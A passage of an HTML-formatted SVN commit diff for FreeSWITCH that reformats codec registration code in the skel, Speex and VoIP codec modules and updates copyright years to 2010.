-                                                                                 uint32_t encoded_rate, /* at which rate was the data encoded */
-                                                                                 void *decoded_data, /* buffer where we must put the decoded data */
-                                                                                 uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
-                                                                                 uint32_t *decoded_rate, /* rate of the decoded data */
-                                                                                 unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
</del><ins>+static switch_status_t switch_skel_decode(switch_codec_t *codec,        /* codec session handle */
+                                                                                 switch_codec_t *other_codec,        /* what is this? */
+                                                                                 void *encoded_data,        /* data that we must decode into slinear and put it in decoded_data */
+                                                                                 uint32_t encoded_data_len,        /* length in bytes of the encoded data */
+                                                                                 uint32_t encoded_rate,        /* at which rate was the data encoded */
+                                                                                 void *decoded_data,        /* buffer where we must put the decoded data */
+                                                                                 uint32_t *decoded_data_len,        /* we must set this value to the size of the decoded data */
+                                                                                 uint32_t *decoded_rate,        /* rate of the decoded data */
+                                                                                 unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
</ins><span class="cx"> {
</span><span class="cx">         struct skel_context *context = codec->private_info;
</span><span class="cx">         /* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
</span><span class="lines">@@ -150,7 +149,7 @@
</span><span class="cx">          * no need to free memory allocated from the pool though, the owner of the pool takes care of that */
</span><span class="cx">         struct skel_context *context = codec->private_info;
</span><span class="cx">         context->encodes = 0;
</span><del>-        context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
</del><ins>+        context->decodes = 0;                /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -180,32 +179,31 @@
</span><span class="cx">         /* SWITCH_ADD_CODEC allocates a codec interface structure from the pool the core gave us and adds it to the internal interface list the core keeps,
</span><span class="cx">          * gets a codec id and set the given codec name to it.
</span><span class="cx">          * At this point there is an empty shell codec interface registered, but not yet implementations */
</span><del>-        SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k");        /* 8.0kbit */
</ins><span class="cx">
</span><span class="cx">         /* Now add as many codec implementations as needed, typically this is done inside a for loop where the packetization size is
</span><span class="cx">          * incremented (10ms, 20ms, 30ms etc) as needed */
</span><del>-        switch_core_codec_add_implementation(pool,
-         codec_interface, /* the codec interface we allocated and we want to register with the core */
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         0,                                 /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
-         "SKEL",                         /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         20000,                                /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
-         160,                                /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
-         320,                                /* number of bytes per frame decompressed */
-         320,                                /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
-         1,                                 /* number of channels represented */
-         20,                                /* number of frames per network packet */
-         switch_skel_init,                 /* function to initialize a codec session using this implementation */
-         switch_skel_encode,                /* function to encode slinear data into encoded data */
-         switch_skel_decode,                /* function to decode encoded data into slinear data */
-         switch_skel_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface,        /* the codec interface we allocated and we want to register with the core */
+                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 0,        /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
+                                                                                 "SKEL",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 20000,        /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
+                                                                                 160,        /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
+                                                                                 320,        /* number of bytes per frame decompressed */
+                                                                                 320,        /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 20,        /* number of frames per network packet */
+                                                                                 switch_skel_init,        /* function to initialize a codec session using this implementation */
+                                                                                 switch_skel_encode,        /* function to encode slinear data into encoded data */
+                                                                                 switch_skel_decode,        /* function to decode encoded data into slinear data */
+                                                                                 switch_skel_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">         SWITCH_ADD_API(api_interface, "skel_sayhi", "Skel Codec Says Hi", skel_sayhi, NULL);
</span><del>-        switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
</del><ins>+        switch_console_set_complete("add skel_sayhi");        /* For CLI completion */
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_speexmod_speexc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -272,25 +272,23 @@
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "Speex");
</span><span class="cx">         for (counta = 1; counta <= 3; counta++) {
</span><span class="cx">                 for (countb = 1; countb > 0; countb--) {
</span><del>-                        switch_core_codec_add_implementation(pool,
-                                                                                                 codec_interface,
-                                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                                 ianacode[counta],                        /* the IANA code number */
-                                                                                                 "SPEEX",                                        /* the IANA code name */
-                                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                                 rate,                                                /* samples transferred per second */
-                                                                                                 rate,                                                /* actual samples transferred per second */
-                                                                                                 bps[counta],                                /* bits transferred per second */
-                                                                                                 mpf * countb,                                /* number of microseconds per frame */
-                                                                                                 spf * countb,                                /* number of samples per frame */
-                                                                                                 bpf * countb,                                /* number of bytes per frame decompressed */
-                                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                                 1,                                                        /* number of channels represented */
-                                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                                 switch_speex_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                                 switch_speex_encode,                /* function to encode raw data into encoded data */
-                                                                                                 switch_speex_decode,                /* function to decode encoded data into raw data */
-                                                                                                 switch_speex_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                                 ianacode[counta],        /* the IANA code number */
+                                                                                                 "SPEEX",        /* the IANA code name */
+                                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                                 rate,        /* samples transferred per second */
+                                                                                                 rate,        /* actual samples transferred per second */
+                                                                                                 bps[counta],        /* bits transferred per second */
+                                                                                                 mpf * countb,        /* number of microseconds per frame */
+                                                                                                 spf * countb,        /* number of samples per frame */
+                                                                                                 bpf * countb,        /* number of bytes per frame decompressed */
+                                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                                 1,        /* number of channels represented */
+                                                                                                 1,        /* number of frames per network packet */
+                                                                                                 switch_speex_init,        /* function to initialize a codec handle using this implementation */
+                                                                                                 switch_speex_encode,        /* function to encode raw data into encoded data */
+                                                                                                 switch_speex_decode,        /* function to decode encoded data into raw data */
+                                                                                                 switch_speex_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">                 }
</span><span class="cx">                 rate = rate * 2;
</span><span class="cx">                 spf = spf * 2;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_voipcodecsmod_voipcodecsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -80,9 +80,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (context->encoder_object) lpc10_encode_free(context->encoder_object);
</del><ins>+        if (context->encoder_object)
+                lpc10_encode_free(context->encoder_object);
</ins><span class="cx">         context->encoder_object = NULL;
</span><del>-        if (context->decoder_object) lpc10_decode_free(context->decoder_object);
</del><ins>+        if (context->decoder_object)
+                lpc10_decode_free(context->decoder_object);
</ins><span class="cx">         context->decoder_object = NULL;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -160,7 +162,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *decoded_data,
</span><span class="cx">                                                                                  uint32_t decoded_data_len,
</span><del>-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct gsm_context *context = codec->private_info;
</span><span class="cx">
</span><span class="lines">@@ -177,7 +180,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *encoded_data,
</span><span class="cx">                                                                                  uint32_t encoded_data_len,
</span><del>-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct gsm_context *context = codec->private_info;
</span><span class="cx">
</span><span class="lines">@@ -200,9 +204,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (context->decoder_object) gsm0610_free(context->decoder_object);
</del><ins>+        if (context->decoder_object)
+                gsm0610_free(context->decoder_object);
</ins><span class="cx">         context->decoder_object = NULL;
</span><del>-        if (context->encoder_object) gsm0610_free(context->encoder_object);
</del><ins>+        if (context->encoder_object)
+                gsm0610_free(context->encoder_object);
</ins><span class="cx">         context->encoder_object = NULL;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -433,9 +439,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (context->decoder_object) g722_decode_free(context->decoder_object);
</del><ins>+        if (context->decoder_object)
+                g722_decode_free(context->decoder_object);
</ins><span class="cx">         context->decoder_object = NULL;
</span><del>-        if (context->encoder_object) g722_encode_free(context->encoder_object);
</del><ins>+        if (context->encoder_object)
+                g722_encode_free(context->encoder_object);
</ins><span class="cx">         context->encoder_object = NULL;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -456,14 +464,14 @@
</span><span class="cx">
</span><span class="cx">         if (!(encoding || decoding)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if ((flags & SWITCH_CODEC_FLAG_AAL2 || strstr(codec->implementation->iananame, "AAL2"))) {
</span><span class="cx">                 packing = G726_PACKING_LEFT;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         context = g726_init(context, codec->implementation->bits_per_second, G726_ENCODING_LINEAR, packing);
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="lines">@@ -597,9 +605,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (context->decoder_object) ima_adpcm_free(context->decoder_object);
</del><ins>+        if (context->decoder_object)
+                ima_adpcm_free(context->decoder_object);
</ins><span class="cx">         context->decoder_object = NULL;
</span><del>-        if (context->encoder_object) ima_adpcm_free(context->encoder_object);
</del><ins>+        if (context->encoder_object)
+                ima_adpcm_free(context->encoder_object);
</ins><span class="cx">         context->encoder_object = NULL;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -620,260 +630,238 @@
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "ADPCM (IMA)");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         5,                                                        /* the IANA code number */
-                                                                                         "DVI4",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         (ebpf * count) + 4,                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_adpcm_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_adpcm_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_adpcm_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_adpcm_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         5,        /* the IANA code number */
+                                                                                         "DVI4",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         (ebpf * count) + 4,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_adpcm_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_adpcm_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_adpcm_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_adpcm_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         mpf = 10000, spf = 160, bpf = 320, ebpf = 160;
</span><span class="cx">         for (count = 6; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         6,                                                        /* the IANA code number */
-                                                                                         "DVI4",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         (ebpf * count) + 4,                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_adpcm_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_adpcm_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_adpcm_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_adpcm_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         6,        /* the IANA code number */
+                                                                                         "DVI4",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         (ebpf * count) + 4,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_adpcm_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_adpcm_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_adpcm_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_adpcm_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* G726 */
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 16k (AAL2)");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         124,                                                /* the IANA code number */
-                                                                                         "AAL2-G726-16",                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         16000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         124,        /* the IANA code number */
+                                                                                         "AAL2-G726-16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         16000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 16k");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         124,                                                /* the IANA code number */
-                                                                                         "G726-16",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         16000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         124,        /* the IANA code number */
+                                                                                         "G726-16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         16000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* Increase encoded bytes per frame by 10 */
</span><span class="cx">         ebpf = ebpf + 10;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 24k (AAL2)");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         123,                                                /* the IANA code number */
-                                                                                         "AAL2-G726-24",                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         24000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         123,        /* the IANA code number */
+                                                                                         "AAL2-G726-24",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         24000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 24k");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         123,                                                /* the IANA code number */
-                                                                                         "G726-24",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         24000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         123,        /* the IANA code number */
+                                                                                         "G726-24",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         24000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* Increase encoded bytes per frame by 10 */
</span><span class="cx">         ebpf = ebpf + 10;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 32k (AAL2)");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         122,                                                /* the IANA code number */
-                                                                                         "AAL2-G726-32",                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
